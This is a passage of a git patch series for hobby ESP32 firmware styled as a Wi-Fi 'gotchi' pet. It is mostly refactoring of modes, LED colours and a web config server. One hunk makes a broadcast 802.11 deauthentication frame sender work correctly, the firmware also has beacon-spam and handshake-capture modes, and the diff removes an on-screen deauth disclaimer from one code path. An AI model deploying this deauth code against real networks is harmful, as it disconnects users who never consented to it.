1]; +} + +int XPSystem::getXPForLevel(int level) const { + if (level < 1) level = 1; + if (level > 8) level = 8; + return XP_PER_LEVEL[level - 1]; +} + +int XPSystem::getXPProgress() const { + if (_level >= 8) return 100; + if (_level < 1) return 0; + + int currentLevelXP = XP_PER_LEVEL[_level - 1]; + int nextLevelXP = XP_PER_LEVEL[_level]; + int xpInLevel = _xp - currentLevelXP; + int xpNeeded = nextLevelXP - currentLevelXP; + + if (xpNeeded <= 0) return 100; + + int progress = (xpInLevel * 100) / xpNeeded; + if (progress > 100) progress = 100; + if (progress < 0) progress = 0; + return progress; +} + +void XPSystem::prestigeReset() { + if (_level < 8) return; + + _prestige++; + _xp = 0; + _level = 1; + saveToNVS(); + + ESP_LOGI(TAG, "Prestige! Now at prestige level %u", (unsigned)_prestige); +} + +void XPSystem::loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved XP data"); + return; + } + + int32_t savedXP = 0; + int32_t savedLevel = 1; + uint8_t savedPrestige = 0; + + if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { + _xp = savedXP; + } + if (nvs_get_i32(nvs, "level", &savedLevel) == ESP_OK) { + _level = savedLevel; + } + if (nvs_get_u8(nvs, "prestige", &savedPrestige) == ESP_OK) { + _prestige = savedPrestige; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded: XP=%d, Level=%d, Prestige=%u", (int)_xp, (int)_level, _prestige); +} + +void XPSystem::saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) return; + + nvs_set_i32(nvs, "xp", _xp); + nvs_set_i32(nvs, "level", _level); + nvs_set_u8(nvs, "prestige", _prestige); + nvs_commit(nvs); + nvs_close(nvs); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.h b/firmware/main/gotchi/xp_system.h new file mode 100644 index 0000000..0d54a8d --- /dev/null +++ b/firmware/main/gotchi/xp_system.h @@ -0,0 +1,40 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include + +namespace gotchi { + +class XPSystem { +public: + XPSystem(); + + void init(); + void addXP(int32_t amount); + int32_t getXP() const { return _xp; } + int32_t getLevel() const { return _level; } + + const char* getLevelTitle() const; + int getXPForLevel(int level) const; + int getXPProgress() const; + + uint8_t getPrestige() const { return _prestige; } + void prestigeReset(); + + void loadFromNVS(); + void saveToNVS(); + +private: + void updateLevel(); + static const char* LEVEL_TITLES[]; + static const int XP_PER_LEVEL[]; + + int32_t _xp; + int32_t _level; + uint8_t _prestige; + bool _initialized; +}; + +} \ No newline at end of file From f4ae75fa8b7d98fd11495262b3656a476b3e1bbd Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 18:59:08 +0100 Subject: [PATCH 07/17] OOP refactoring: ModeInfo table + WebManager + code cleanup - Add ModeInfo table (mode.cpp/h) with centralized mode definitions: * name, mood, cycle order, XP multiplier, channel hop settings * UI: tone frequency, head movement interval, avatar emotion * Neon colors (static + dynamic callback for HUNT mode) * onEnter callback for mode switch UI re-initialization - Add WebManager class (CONFIG mode HTTP server) - Refactor app_gotchi.cpp: replace switch statements with ModeInfo getters - Refactor gotchi.cpp: simplify setMode(), getModeName(), addXP() - Fix deauth frame format (26-byte 802.11 management frame) - Remove unused hsIcon variable (dead code) - Total: ~750 lines removed across gotchi.cpp and app_gotchi.cpp --- firmware/main/CMakeLists.txt | 1 + firmware/main/apps/app_gotchi/app_gotchi.cpp | 317 +------------- firmware/main/gotchi/gotchi.cpp | 433 ++----------------- firmware/main/gotchi/mode.cpp | 122 ++++++ firmware/main/gotchi/mode.h | 57 +++ firmware/main/gotchi/web_manager.cpp | 361 ++++++++++++++++ 6 files changed, 597 insertions(+), 694 deletions(-) create mode 100644 firmware/main/gotchi/mode.cpp create mode 100644 firmware/main/gotchi/mode.h create mode 100644 firmware/main/gotchi/web_manager.cpp diff --git a/firmware/main/CMakeLists.txt b/firmware/main/CMakeLists.txt index a712830..0f52819 100644 --- a/firmware/main/CMakeLists.txt +++ b/firmware/main/CMakeLists.txt @@ -17,6 +17,7 @@ file(GLOB_RECURSE STACK_CHAN_SOURCES "gotchi/*.c" "gotchi/*.cc" "gotchi/*.cpp" + "gotchi/mode.cpp" ) set(STACK_CHAN_INCLUDE_DIRS "." diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index cd4681a..5b06bc8 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -16,6 +16,7 @@ #include #include #include +#include using namespace mooncake; using namespace stackchan; @@ -265,39 +266,11 @@ void AppGotchi::handleInput() { } void AppGotchi::cycleMode() { - switch (_currentMode) { - case gotchi::Mode::SCOUT: - _currentMode = gotchi::Mode::HUNT; - break; - case gotchi::Mode::HUNT: - _currentMode = gotchi::Mode::WARDIVE; - break; - case gotchi::Mode::WARDIVE: - _currentMode = gotchi::Mode::SPECTRUM; - break; - case gotchi::Mode::SPECTRUM: - _currentMode = gotchi::Mode::BLE_SCAN; - break; - case gotchi::Mode::BLE_SCAN: - _currentMode = gotchi::Mode::ROGUE; - break; - case gotchi::Mode::ROGUE: - _currentMode = gotchi::Mode::STATS; - break; - case gotchi::Mode::STATS: - _currentMode = gotchi::Mode::IDLE; - break; - case gotchi::Mode::IDLE: - _currentMode = gotchi::Mode::SCOUT; - break; - case gotchi::Mode::CONFIG: - _currentMode = gotchi::Mode::SCOUT; - break; - } - + _currentMode = gotchi::getModeInfo(_currentMode).nextMode; + gotchi::setMode(_currentMode); - - // Show mode in speech bubble + gotchi::onModeEnter(_currentMode); + const char* modeName = gotchi::getModeName(_currentMode); bool showedSpecialMessage = false; @@ -321,17 +294,10 @@ void AppGotchi::cycleMode() { } // Play different tone for each mode (bypasses xiaozhi AudioService to avoid WiFi conflict) - uint16_t tone_freq = 600; - switch (_currentMode) { - case gotchi::Mode::HUNT: tone_freq = 600; break; // Low beep - case gotchi::Mode::SCOUT: tone_freq = 800; break; // Mid beep - case gotchi::Mode::WARDIVE: tone_freq = 1000; break; // Higher beep - case gotchi::Mode::SPECTRUM: tone_freq = 1200; break; // Highest beep - - case gotchi::Mode::ROGUE: tone_freq = 350; break; // Warning lower tone - default: tone_freq = 400; break; // IDLE - very low + uint16_t tone_freq = gotchi::getModeInfo(_currentMode).toneFreq; + if (tone_freq > 0) { + hal_bridge::app_play_tone(tone_freq, 100); } - hal_bridge::app_play_tone(tone_freq, 100); // Only show mode name if no special message was shown if (!showedSpecialMessage && GetStackChan().hasAvatar()) { @@ -341,72 +307,13 @@ void AppGotchi::cycleMode() { } void AppGotchi::cycleModeBackward() { - switch (_currentMode) { - case gotchi::Mode::HUNT: - _currentMode = gotchi::Mode::SCOUT; - break; - case gotchi::Mode::SCOUT: - _currentMode = gotchi::Mode::IDLE; - break; - case gotchi::Mode::IDLE: - _currentMode = gotchi::Mode::STATS; - break; - case gotchi::Mode::STATS: - _currentMode = gotchi::Mode::ROGUE; - break; - case gotchi::Mode::ROGUE: - _currentMode = gotchi::Mode::BLE_SCAN; - break; - case gotchi::Mode::BLE_SCAN: - _currentMode = gotchi::Mode::SPECTRUM; - break; - case gotchi::Mode::SPECTRUM: - _currentMode = gotchi::Mode::WARDIVE; - break; - case gotchi::Mode::WARDIVE: - _currentMode = gotchi::Mode::HUNT; - break; - default: - _currentMode = gotchi::Mode::SCOUT; - break; - } - + _currentMode = gotchi::getModeInfo(_currentMode).prevMode; + gotchi::setMode(_currentMode); - + gotchi::onModeEnter(_currentMode); + const char* modeName = gotchi::getModeName(_currentMode); - bool showedSpecialMessage = false; - - // Show "OK" disclaimer when first entering HUNT mode (from backward too) - if (_currentMode == gotchi::Mode::HUNT && gotchi::shouldShowHuntDisclaimer()) { - gotchi::acknowledgeHuntDisclaimer(); - if (GetStackChan().hasAvatar()) { - GetStackChan().avatar().setSpeech("HUNT Mode!\nSends deauth frames.\nOK to proceed?"); - GetStackChan().addModifier(std::make_unique(4000, 180, true)); - } - showedSpecialMessage = true; - } - - // Show educational warning for ROGUE mode (from backward too) - if (!showedSpecialMessage && _currentMode == gotchi::Mode::ROGUE) { - if (GetStackChan().hasAvatar()) { - GetStackChan().avatar().setSpeech("EDUCATIONAL!\nOwn networks only!"); - GetStackChan().addModifier(std::make_unique(3000, 180, true)); - } - showedSpecialMessage = true; - } - - uint16_t tone_freq = 600; - switch (_currentMode) { - case gotchi::Mode::HUNT: tone_freq = 600; break; - case gotchi::Mode::SCOUT: tone_freq = 800; break; - case gotchi::Mode::WARDIVE: tone_freq = 1000; break; - case gotchi::Mode::SPECTRUM: tone_freq = 1200; break; - case gotchi::Mode::ROGUE: tone_freq = 350; break; - default: tone_freq = 400; break; - } - hal_bridge::app_play_tone(tone_freq, 100); - - if (!showedSpecialMessage && GetStackChan().hasAvatar()) { + if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech(modeName); GetStackChan().addModifier(std::make_unique(1500, 180, true)); } @@ -419,37 +326,7 @@ void AppGotchi::updateAvatar() { auto& avatar = GetStackChan().avatar(); // Mode-specific base emotion with mood override - avatar::Emotion baseEmotion = avatar::Emotion::Neutral; - - switch (_currentMode) { - case gotchi::Mode::HUNT: - baseEmotion = avatar::Emotion::Doubt; // Scanning/alert - break; - case gotchi::Mode::SCOUT: - baseEmotion = avatar::Emotion::Happy; // Exploring/curious - break; - case gotchi::Mode::WARDIVE: - baseEmotion = avatar::Emotion::Angry; // Intense/active - break; - case gotchi::Mode::SPECTRUM: - baseEmotion = avatar::Emotion::Doubt; // Analyzing - break; - case gotchi::Mode::BLE_SCAN: - baseEmotion = avatar::Emotion::Doubt; // BLE scanning - break; - case gotchi::Mode::ROGUE: - baseEmotion = avatar::Emotion::Angry; // Active attack - warning - break; - case gotchi::Mode::STATS: - baseEmotion = avatar::Emotion::Happy; // Viewing stats - break; - case gotchi::Mode::IDLE: - baseEmotion = avatar::Emotion::Neutral; - break; - case gotchi::Mode::CONFIG: - baseEmotion = avatar::Emotion::Neutral; // Config mode - neutral - break; - } + avatar::Emotion baseEmotion = (avatar::Emotion)gotchi::getModeAvatarEmotion(_currentMode); // Mood override switch (mood) { @@ -479,40 +356,23 @@ void AppGotchi::updateHeadAnimation() { uint32_t now = GetHAL().millis(); auto& motion = GetStackChan().motion(); - static const uint32_t IDLE_INTERVAL = 3000; - static const uint32_t HUNT_INTERVAL = 800; - static const uint32_t SCOUT_INTERVAL = 1500; - - uint32_t interval = IDLE_INTERVAL; + uint32_t interval = gotchi::getModeHeadMoveInterval(_currentMode); int16_t baseYaw = 0; int16_t basePitch = 200; switch (_currentMode) { - case gotchi::Mode::HUNT: - interval = HUNT_INTERVAL; - break; case gotchi::Mode::SCOUT: - interval = SCOUT_INTERVAL; basePitch = 150; break; case gotchi::Mode::WARDIVE: - interval = 600; baseYaw = (now / interval) % 2 ? 300 : -300; break; case gotchi::Mode::SPECTRUM: - interval = 1000; baseYaw = (int16_t)((now / interval) % 6 - 3) * 150; break; - case gotchi::Mode::BLE_SCAN: - interval = 600; - break; case gotchi::Mode::ROGUE: - interval = 500; baseYaw = (int16_t)((now / 250 % 4) - 2) * 120; break; - case gotchi::Mode::STATS: - interval = 2000; // Slow movement while viewing stats - break; default: break; } @@ -602,146 +462,10 @@ void AppGotchi::updateNeonLights() { return; } - // Dynamic blink speed based on network count - int blinkSpeed = 400; // base speed - if (netCount > 10) blinkSpeed = 150; // Very fast when many networks - else if (netCount > 5) blinkSpeed = 250; // Fast - else if (netCount > 2) blinkSpeed = 350; // Medium - else blinkSpeed = 500; // Slow - - bool blinkOn = (now / blinkSpeed) % 2; - - switch (_currentMode) { - case gotchi::Mode::IDLE: - // Gentle pulse - slow breathing effect - if ((now / 1000) % 2) { - leftLight.setColor(0x00, 0xAA, 0x66); - rightLight.setColor(0x00, 0xAA, 0x66); - } else { - leftLight.setColor(0x00, 0x66, 0x33); - rightLight.setColor(0x00, 0x66, 0x33); - } - break; - - case gotchi::Mode::HUNT: - // Dynamic colors based on network count - if (netCount >= 10) { - // EXCITED - lots of networks! - if (blinkOn) { - leftLight.setColor(0x00, 0xFF, 0x00); // Bright green - rightLight.setColor(0xFF, 0xFF, 0x00); // Yellow - } else { - leftLight.setColor(0x00, 0x88, 0x00); - rightLight.setColor(0x88, 0x88, 0x00); - } - } else if (netCount >= 5) { - // HAPPY - good number of networks - if (blinkOn) { - leftLight.setColor(0x00, 0xFF, 0x88); // Green - rightLight.setColor(0x00, 0xFF, 0xFF); // Cyan - } else { - leftLight.setColor(0x00, 0xAA, 0x55); - rightLight.setColor(0x00, 0xAA, 0xAA); - } - } else { - // CALM - few networks - if (blinkOn) { - leftLight.setColor(0x00, 0x88, 0x44); // Dim green - rightLight.setColor(0x00, 0x88, 0x88); // Dim cyan - } else { - leftLight.setColor(0x00, 0x44, 0x22); - rightLight.setColor(0x00, 0x44, 0x44); - } - } - break; - - case gotchi::Mode::SCOUT: - // Blue pulse - exploring - if (blinkOn) { - leftLight.setColor(0x00, 0x66, 0xFF); - rightLight.setColor(0x00, 0x66, 0xFF); - } else { - leftLight.setColor(0x00, 0x33, 0x88); - rightLight.setColor(0x00, 0x33, 0x88); - } - break; - - case gotchi::Mode::WARDIVE: - if ((now / 150) % 2) { - leftLight.setColor(0xFF, 0x66, 0x00); - rightLight.setColor(0xFF, 0x66, 0x00); - } else { - leftLight.setColor(0x88, 0x33, 0x00); - rightLight.setColor(0x88, 0x33, 0x00); - } - break; - - case gotchi::Mode::SPECTRUM: { - uint8_t phase = (now / 100) % 6; - if (phase < 3) { - leftLight.setColor(0xFF, 0x00 << (phase * 2), 0xFF); - rightLight.setColor(0xFF, 0x00 << ((phase + 1) * 2), 0xFF); - } else { - leftLight.setColor(0x00, 0xFF, 0x00); - rightLight.setColor(0x00, 0x00, 0xFF); - } - break; - } - - case gotchi::Mode::BLE_SCAN: { - // Blue/Magenta pulse - BLE scanning - if (blinkOn) { - leftLight.setColor(0x00, 0x88, 0xFF); - rightLight.setColor(0x88, 0x00, 0xFF); - } else { - leftLight.setColor(0x00, 0x44, 0x88); - rightLight.setColor(0x44, 0x00, 0x88); - } - break; - } - - case gotchi::Mode::STATS: { - // Purple/White pulse - viewing stats - if (blinkOn) { - leftLight.setColor(0xAA, 0x00, 0xFF); - rightLight.setColor(0xFF, 0xFF, 0xFF); - } else { - leftLight.setColor(0x55, 0x00, 0x88); - rightLight.setColor(0x88, 0x88, 0x88); - } - break; - } - - case gotchi::Mode::ROGUE: { - // Yellow/Orange fast pulse - beacon spam active - uint8_t flashPhase = (now / 80) % 4; - if (flashPhase < 2) { - leftLight.setColor(0xFF, 0xAA, 0x00); - rightLight.setColor(0xFF, 0x88, 0x00); - } else { - leftLight.setColor(0xAA, 0x55, 0x00); - rightLight.setColor(0xAA, 0x44, 0x00); - } - break; - } - - case gotchi::Mode::CONFIG: { - // White/Cyan slow pulse - config mode - if (blinkOn) { - leftLight.setColor(0xAA, 0xFF, 0xFF); - rightLight.setColor(0xFF, 0xFF, 0xFF); - } else { - leftLight.setColor(0x55, 0xAA, 0xAA); - rightLight.setColor(0x88, 0x88, 0x88); - } - break; - } - - default: - leftLight.setColor(0x00, 0xFF, 0x88); - rightLight.setColor(0x00, 0xFF, 0x88); - break; - } +// Use centralized mode-based neon color system + gotchi::NeonColor nc = gotchi::getNeonColor(_currentMode, netCount, now); + leftLight.setColor(nc.r, nc.g, nc.b); + rightLight.setColor(nc.r, nc.g, nc.b); } static const char* getSignalBars(int rssi) { @@ -771,9 +495,8 @@ void AppGotchi::renderUI() { } } - // Get handshake count + // Get handshake count (for potential future display) int hsCount = gotchi::getHandshakeCount(); - const char* hsIcon = hsCount > 0 ? "#" : "o"; // GPS info display - show coordinates in WARDIVE mode, satellite count otherwise const char* gpsDisplay = "No GPS"; diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index 290668d..9e31573 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -7,6 +7,8 @@ #include "gps.h" #include "xp_system.h" #include "achievement_system.h" +#include "web_manager.h" +#include "mode.h" #include #include #include @@ -372,18 +374,7 @@ static int ieee80211_hdrlen(uint16_t fc) { } const char* getModeName(Mode mode) { - switch (mode) { - case Mode::IDLE: return "IDLE"; - case Mode::SCOUT: return "SCOUT"; - case Mode::HUNT: return "HUNT"; - case Mode::WARDIVE: return "WARDIVE"; - case Mode::SPECTRUM: return "SPECTRUM"; - case Mode::BLE_SCAN: return "BLE-SCAN"; - case Mode::ROGUE: return "ROGUE"; - case Mode::STATS: return "STATS"; - case Mode::CONFIG: return "CONFIG"; - default: return "UNKNOWN"; - } + return getModeInfo(mode).name; } const char* getLevelTitle(int level) { @@ -519,13 +510,12 @@ void update() { uint32_t now = GetHAL().millis(); uint32_t uptime = (now - _startTime) / 1000; - // Channel hopping - prioritize primary channels 1, 6, 11 for better coverage - if (_sniffing && (now - _lastChannelHop) > 200) { + // Channel hopping - use mode-specific interval + const ModeInfo& mi = getModeInfo(_currentMode); + if (_sniffing && mi.enableChannelHop && (now - _lastChannelHop) > mi.hopIntervalMs) { static uint8_t hopIndex = 0; - // Primary channels get more dwell time, secondary channels scanned less - static const uint8_t channelSequence[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; - hopIndex = (hopIndex + 1) % 13; - _currentChannel = channelSequence[hopIndex]; + hopIndex = (hopIndex + 1) % getChannelSequenceLength(); + _currentChannel = getChannelSequence()[hopIndex]; esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); _channelsScanned++; _lastChannelHop = now; @@ -546,19 +536,31 @@ static TaskHandle_t _deauthTaskHandle = nullptr; static bool _deauthActive = false; static void sendDeauthFrame(const uint8_t* bssid, uint8_t reason) { - uint8_t deauth[32]; - memset(deauth, 0, sizeof(deauth)); - - deauth[0] = 0xC0; - deauth[1] = 0x00; - deauth[2] = 0x00; - deauth[3] = 0x00; - memcpy(&deauth[4], bssid, 6); + // Try deauth with proper frame - 26 byte minimum for management frame + uint8_t deauth[32] = {0}; + + // IEEE 802.11 Deauthentication frame + // FC(2) | Dur(2) | Addr1(6) | Addr2(6) | Addr3(6) | Seq(2) | Reason(2) + uint16_t fc = 0x00C0; // Deauth frame + + memcpy(&deauth[0], &fc, 2); + deauth[2] = 0x00; deauth[3] = 0x00; // Duration + + // Address 1: DA (broadcast) + memset(&deauth[4], 0xFF, 6); + // Address 2: SA (AP) memcpy(&deauth[10], bssid, 6); + // Address 3: BSSID memcpy(&deauth[16], bssid, 6); - deauth[22] = reason; - esp_wifi_80211_tx(WIFI_IF_STA, deauth, 23, false); + // Sequence + deauth[22] = 0; deauth[23] = 0; + + // Reason code + deauth[24] = reason; + deauth[25] = 0; + + esp_wifi_80211_tx(WIFI_IF_STA, deauth, 26, false); } static void deauthTask(void* param) { @@ -715,32 +717,7 @@ void setMode(Mode mode) { break; } - switch (mode) { - case Mode::HUNT: - _currentMood = Mood::FOCUSED; - break; - case Mode::SCOUT: - _currentMood = Mood::NEUTRAL; - break; - case Mode::WARDIVE: - _currentMood = Mood::EXCITED; - break; - case Mode::SPECTRUM: - _currentMood = Mood::FOCUSED; - break; - case Mode::BLE_SCAN: - _currentMood = Mood::FOCUSED; - break; - case Mode::ROGUE: - _currentMood = Mood::EXCITED; - break; - case Mode::CONFIG: - _currentMood = Mood::HAPPY; - break; - default: - _currentMood = Mood::HAPPY; - break; - } + _currentMood = getModeInfo(mode).mood; } Mode getCurrentMode() { @@ -797,26 +774,8 @@ void addXP(int32_t amount) { if (amount <= 0) return; // Apply mode-specific multipliers to XP - float multiplier = 1.0f; - switch (_currentMode) { - case Mode::WARDIVE: - multiplier = 1.5f; - break; - case Mode::SPECTRUM: - multiplier = 1.2f; - break; - case Mode::SCOUT: - multiplier = 0.8f; - break; - case Mode::IDLE: - multiplier = 0.0f; - break; - default: - multiplier = 1.0f; - break; - } - -int32_t effectiveAmount = (int32_t)(amount * multiplier); + float multiplier = getModeInfo(_currentMode).xpMultiplier; + int32_t effectiveAmount = (int32_t)(amount * multiplier); _xpSystem.addXP(effectiveAmount); } @@ -1089,7 +1048,6 @@ void stopBLEScan() { static TaskHandle_t _beaconTaskHandle = nullptr; static TaskHandle_t _configTaskHandle = nullptr; -static httpd_handle_t _httpServer = nullptr; static esp_netif_t* _ap_netif_handle = nullptr; // Shared AP netif handle for CONFIG/ROGUE modes static const char* ROGUE_SSIDS[] = { @@ -1283,325 +1241,9 @@ void stopRogue() { ESP_LOGI(TAG, "ROGUE mode stopped"); } -static esp_err_t root_handler(httpd_req_t* req) { - const char* html = - "" - "StackChan-Gotchi" - "" - "" - "" - "

StackChan-Gotchi

" - "" - "
" - - "" - "
" - "
" - "

Current: Loading...

" - "

Level: - | XP: - | Nets: -

" - "
" - "
" - "

Mode Selection

" - " " - " " - "
" - "
" - "

Quick Actions

" - " " - " " - "
" - "
" - - "" - "
" - "
" - "

Player Stats

" - " " - " " - " " - " " - " " - " " - " " - " " - "
Level-
XP-
Networks-
Handshakes-
Prestige-
Uptime-
Achievements-
" - "
" - "
" - "

Session Stats

" - "

Session XP: -

" - "

Session Time: -

" - "
" - "
" - - "" - "
" - "
" - "

Discovered Networks

" - "
Loading...
" - "
" - "
" - - "" - "
" - "
" - "

Internal Storage

" - "

Mount: /sdcard (Internal Flash)

" - "

Free: Loading...

" - "

Total: ~2MB

" - "
" - "
" - "

Note

" - "

" - " SD card unavailable on CoreS3 (hardware pin conflict).
" - " Using internal flash FATFS partition.
" - " Files stored: config.json, networks.json, wardriving.csv, handshakes/, logs/" - "

" - "
" - "
" - - ""; - httpd_resp_set_type(req, "text/html"); - httpd_resp_send(req, html, strlen(html)); - return ESP_OK; -} - -static esp_err_t api_config_handler(httpd_req_t* req) { - if (req->method == HTTP_GET) { - Stats s = getStats(); - char json[256]; - snprintf(json, sizeof(json), - "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"apActive\":%s}", - getModeName(getCurrentMode()), - (int)s.level, - (int)s.xp, - isConfigMode() ? "true" : "false"); - httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, json, strlen(json)); - } else { - // POST - read body - char content[256]; - int ret = httpd_req_recv(req, content, sizeof(content) - 1); - if (ret > 0) { - content[ret] = '\0'; - // Simple parse - look for mode value - char* modeStart = strstr(content, "\"mode\""); - if (modeStart) { - char* colon = strchr(modeStart, ':'); - if (colon) { - char* quote = strchr(colon, '\"'); - if (quote) { - char* endQuote = strchr(quote + 1, '\"'); - if (endQuote) { - *endQuote = '\0'; - Mode newMode = Mode::IDLE; - if (strcmp(quote + 1, "SCOUT") == 0) newMode = Mode::SCOUT; - else if (strcmp(quote + 1, "HUNT") == 0) newMode = Mode::HUNT; - else if (strcmp(quote + 1, "WARDIVE") == 0) newMode = Mode::WARDIVE; - else if (strcmp(quote + 1, "SPECTRUM") == 0) newMode = Mode::SPECTRUM; - else if (strcmp(quote + 1, "BLE_SCAN") == 0) newMode = Mode::BLE_SCAN; - else if (strcmp(quote + 1, "ROGUE") == 0) newMode = Mode::ROGUE; - else if (strcmp(quote + 1, "STATS") == 0) newMode = Mode::STATS; - else if (strcmp(quote + 1, "IDLE") == 0) newMode = Mode::IDLE; - setMode(newMode); - - char resp[128]; - snprintf(resp, sizeof(resp), "{\"status\":\"ok\",\"mode\":\"%s\"}", getModeName(newMode)); - httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, resp, strlen(resp)); - return ESP_OK; - } - } - } - } - } - httpd_resp_send_err(req, HTTPD_400_BAD_REQUEST, "Invalid request"); - } - return ESP_OK; -} - -static esp_err_t api_stats_handler(httpd_req_t* req) { - Stats s = getStats(); - std::vector networks = getNetworks(); - - // Build networks list JSON - char networksJson[1024] = "["; - int count = 0; - for (const auto& n : networks) { - if (count > 0) strcat(networksJson, ","); - char entry[128]; - snprintf(entry, sizeof(entry), "{\"ssid\":\"%.20s\",\"ch\":%d,\"rssi\":%d}", - n.ssid, n.channel, (int)n.rssi); - strcat(networksJson, entry); - count++; - if (count >= 20) break; // Limit to 20 networks - } - strcat(networksJson, "]"); - - uint32_t sessionTime = (GetHAL().millis() - s.sessionStartTime) / 1000; - uint32_t sessionMins = sessionTime / 60; - uint32_t sessionSecs = sessionTime % 60; - - char json[2048]; - snprintf(json, sizeof(json), - "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"networks\":%u," - "\"rogue\":%s,\"config\":%s,\"heap\":%u," - "\"handshakes\":%u,\"prestige\":%u,\"uptime\":\"%02uh%02um\"," - "\"achievements\":%u,\"sessionXP\":%d,\"sessionTime\":\"%02u:%02u\"," - "\"sessionNetworks\":%u,\"networksList\":%s}", - getModeName(getCurrentMode()), - (int)s.level, - (int)s.xp, - (unsigned int)networks.size(), - isBeaconSpamming() ? "true" : "false", - isConfigMode() ? "true" : "false", - (unsigned int)esp_get_free_heap_size(), - (unsigned int)s.handshakesCaptured, - (unsigned int)s.prestige, - (unsigned int)(s.uptimeSeconds / 3600), - (unsigned int)((s.uptimeSeconds % 3600) / 60), - (unsigned int)s.achievementCount, - (int)s.sessionXPGain, - (unsigned int)sessionMins, (unsigned int)sessionSecs, - (unsigned int)s.sessionNetworks, - networksJson); - httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, json, strlen(json)); - return ESP_OK; -} - -static esp_err_t api_rogue_handler(httpd_req_t* req) { - if (isBeaconSpamming()) { - stopRogue(); - } - httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); - return ESP_OK; -} - -static esp_err_t api_files_handler(httpd_req_t* req) { - // Return basic storage info - char json[512]; - int64_t freeSpace = gotchi::getStorageFreeSpace(); - int64_t totalSpace = 2 * 1024 * 1024; // ~2MB estimate - - snprintf(json, sizeof(json), - "{\"freeSpace\":%lld,\"totalSpace\":%lld,\"mountPoint\":\"%s\"}", - (long long)freeSpace, (long long)totalSpace, "/sdcard"); - - httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, json, strlen(json)); - return ESP_OK; -} - +// HTTP handlers moved to WebManager class (web_manager.cpp) static void startHttpServer() { - httpd_config_t config = HTTPD_DEFAULT_CONFIG(); - config.server_port = 80; - config.stack_size = 4096; - - httpd_uri_t root_uri = {.uri = "/", .method = HTTP_GET, .handler = root_handler, .user_ctx = nullptr}; - httpd_uri_t api_config_uri = {.uri = "/api/config", .method = HTTP_GET, .handler = api_config_handler, .user_ctx = nullptr}; - httpd_uri_t api_config_post_uri = {.uri = "/api/config", .method = HTTP_POST, .handler = api_config_handler, .user_ctx = nullptr}; - httpd_uri_t api_stats_uri = {.uri = "/api/stats", .method = HTTP_GET, .handler = api_stats_handler, .user_ctx = nullptr}; - httpd_uri_t api_rogue_uri = {.uri = "/api/rogue", .method = HTTP_POST, .handler = api_rogue_handler, .user_ctx = nullptr}; - httpd_uri_t api_files_uri = {.uri = "/api/files", .method = HTTP_GET, .handler = api_files_handler, .user_ctx = nullptr}; - - if (httpd_start(&_httpServer, &config) == ESP_OK) { - httpd_register_uri_handler(_httpServer, &root_uri); - httpd_register_uri_handler(_httpServer, &api_config_uri); - httpd_register_uri_handler(_httpServer, &api_config_post_uri); - httpd_register_uri_handler(_httpServer, &api_stats_uri); - httpd_register_uri_handler(_httpServer, &api_rogue_uri); - httpd_register_uri_handler(_httpServer, &api_files_uri); - ESP_LOGI(TAG, "HTTP server started with API endpoints"); - } else { - ESP_LOGW(TAG, "HTTP server failed"); - } + getWebManager().start(); } static void configModeTask(void* param) { @@ -1721,10 +1363,7 @@ void stopConfigMode() { _configTaskHandle = nullptr; } - if (_httpServer) { - httpd_stop(_httpServer); - _httpServer = nullptr; - } + getWebManager().stop(); esp_wifi_stop(); vTaskDelay(pdMS_TO_TICKS(100)); diff --git a/firmware/main/gotchi/mode.cpp b/firmware/main/gotchi/mode.cpp new file mode 100644 index 0000000..841373d --- /dev/null +++ b/firmware/main/gotchi/mode.cpp @@ -0,0 +1,122 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "mode.h" + +namespace gotchi { + +static NeonColor getIdleNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool pulse = (now / 1000) % 2; + return pulse ? NeonColor{0x00, 0xAA, 0x66} : NeonColor{0x00, 0x66, 0x33}; +} + +static NeonColor getHuntNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; + bool blinkOn = (now / 200) % 2; + if (netCount >= 10) { + return blinkOn ? NeonColor{0x00, 0xFF, 0x00} : NeonColor{0x00, 0x88, 0x00}; + } else if (netCount >= 5) { + return blinkOn ? NeonColor{0x00, 0xFF, 0x88} : NeonColor{0x00, 0xAA, 0x55}; + } else { + return blinkOn ? NeonColor{0x00, 0x88, 0x44} : NeonColor{0x00, 0x44, 0x22}; + } +} + +static NeonColor getScoutNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 400) % 2; + return blinkOn ? NeonColor{0x00, 0x66, 0xFF} : NeonColor{0x00, 0x33, 0x88}; +} + +static NeonColor getWardiveNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 300) % 2; + return blinkOn ? NeonColor{0xFF, 0x66, 0x00} : NeonColor{0x88, 0x33, 0x00}; +} + +static NeonColor 